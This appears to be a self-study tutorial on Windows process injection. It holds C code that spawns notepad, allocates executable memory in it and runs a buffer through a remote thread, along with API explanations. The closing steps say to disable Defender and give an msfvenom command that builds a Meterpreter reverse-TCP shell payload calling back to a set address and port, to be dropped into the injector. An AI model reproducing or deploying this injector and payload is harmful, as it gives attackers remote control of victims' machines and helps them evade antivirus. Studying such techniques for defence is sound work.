15-ProcessInjection
#include <Windows.h>
#include <stdio.h>
const char* k = "[+]";
const char* i = "[*]";
const char* e = "[-]";
DWORD PID = NULL;
HANDLE hProcess, hThread = NULL;
int main(int argc, char* argv[]) {
if (argc < 2) {
printf("%s Usage: program.exe <PID>", e);
return 1;
}
PID = atoi(argv[1]); // string to integer;
printf("%s trying to open a handle to process (%ld)\n", i, PID);
// open a handle to the process
hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, PID);
if(hProcess == NULL) {
printf("%s couldn't get a handle to the process (%ld), error: %ld",e, PID, GetLastError());
return 1;
}
return 0;
Here we can open a process by giving a process ID, it prints an error code in case of something went wrong.
Meaning of these error codes can be checked on https://learn.microsoft.com/en-us/windows/win32/debug/system-error-codes--0-499-
87 - > The parameter is incorrect.
5 -> access denied // as pid 4 was owned by ntauthority system.
VirtualAlloc and VirtualAllocEx are two Windows API functions used to allocate virtual memory in the address space of a process. The main difference between them is the process in which the memory is allocated.
VirtualAlloc
VirtualAlloc allocates virtual memory in the address space of the calling process. It is used to reserve and commit pages of memory for use by the current process.
Syntax
LPVOID WINAPI VirtualAlloc(
_In_opt_ LPVOID lpAddress,
_In_ SIZE_T dwSize,
_In_ DWORD flAllocationType,
_In_ DWORD flProtect
);
VirtualAllocEx
VirtualAllocEx allocates virtual memory in the address space of a specified process. It is used to reserve and commit pages of memory for use by a process other than the current process.
Syntax
LPVOID WINAPI VirtualAllocEx(
_In_ HANDLE hProcess,
_In_opt_ LPVOID lpAddress,
_In_ SIZE_T dwSize,
_In_ DWORD flAllocationType,
_In_ DWORD flProtect
);
Key differences
VirtualAllocallocates memory in the current process, whileVirtualAllocExallocates memory in a specified process.VirtualAllocExrequires a handle to the process in which the memory is to be allocated, which is obtained using theOpenProcessfunction.
Use cases
- Use
VirtualAllocwhen you need to allocate memory for use by the current process. - Use
VirtualAllocExwhen you need to allocate memory for use by a process other than the current process, such as when writing a debugger or a process monitoring tool.
We will use VirtualAllocEx https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualallocex
Injection
This will just kill the process, as our payload in crowPuke variable is not a valid one its just AAAA..
#include <Windows.h>
#include <stdio.h>
const char* k = "[+]";
const char* i = "[*]";
const char* e = "[-]";
DWORD PID,TID;
LPVOID rBuffer = NULL;
HANDLE hProcess, hThread = NULL;
int processID;
unsigned char crowPuke[] = "\x41\x41\x41\x41\x41\x41\x41\x41"; // Crows' variable naming conventions LOL
int main(int argc, char* argv[]) {
STARTUPINFOW si = {0};
PROCESS_INFORMATION pi = {0};
if(!CreateProcessW(
L"C:\\Windows\\System32\\notepad.exe",
NULL,
NULL,
NULL,
FALSE,
BELOW_NORMAL_PRIORITY_CLASS,
NULL,
NULL,
&si,
&pi)) {
printf("Falied To create a process %ld",GetLastError());
}
else {
printf("Process Created - PID %ld", pi.dwProcessId);
processID = pi.dwProcessId;
}
// if (argc < 2) {
// printf("%s Usage: program.exe <PID>", e);
// return 1;
// }
// PID = atoi(argv[1]); // string to integer;
PID = processID;
printf("%s trying to open a handle to process (%ld)\n", i, PID);
// open a handle to the process
hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, PID);
printf("%s got a handle to the process\n\\---0x%p\n",k, hProcess);
if(hProcess == NULL) {
printf("%s couldn't get a handle to the process (%ld), error: %ld",e, PID, GetLastError());
return 1;
}
// Allocates bytes to process memory.
rBuffer = VirtualAllocEx(hProcess, NULL, sizeof(crowPuke),(MEM_COMMIT | MEM_RESERVE), PAGE_EXECUTE_READWRITE);
printf("%s allocated %zu-bytes with PAGE_EXECUTE_READWRITE permissions",k,sizeof(crowPuke));
// Actually write that allowed memory to the process memory.
WriteProcessMemory(hProcess, rBuffer, crowPuke, sizeof(crowPuke), NULL);
printf("%s wrote %zu-bytes to process memory\n",k,sizeof(crowPuke));
// Create thread to run our payload
hThread = CreateRemoteThreadEx(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)rBuffer,NULL,0,0,&TID);
if (hThread == NULL) {
printf("%s failed to get a handle to the thred, error: %ld", e, GetLastError());
CloseHandle(hProcess);
return 1;
}
printf("%s got a handle to the thread (%ld)\n\\---0x%p\n",k,TID,hThread);
printf("%s waitintg for the thread to finish\n",i);
WaitForSingleObject(hThread, INFINITE); // waits for thread to be comepleted
printf("%s thread finished executingt\n",k);
printf("%s cleaning up\n",i);
CloseHandle(hThread);
CloseHandle(hProcess);
printf("%s Finished!\n",i);
return 0;
}
Now its time to inject actual shell code in notepad, I ll use msfvenom to do so. ( Turn off defender or add and exclusion.)
msfvenom --platform windows --arch x64 -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.29.65 lport=9001 EXITFUNC=thread -f c --var-name=crowPuke
replace the output with the variable crowpuke value.
Less Go.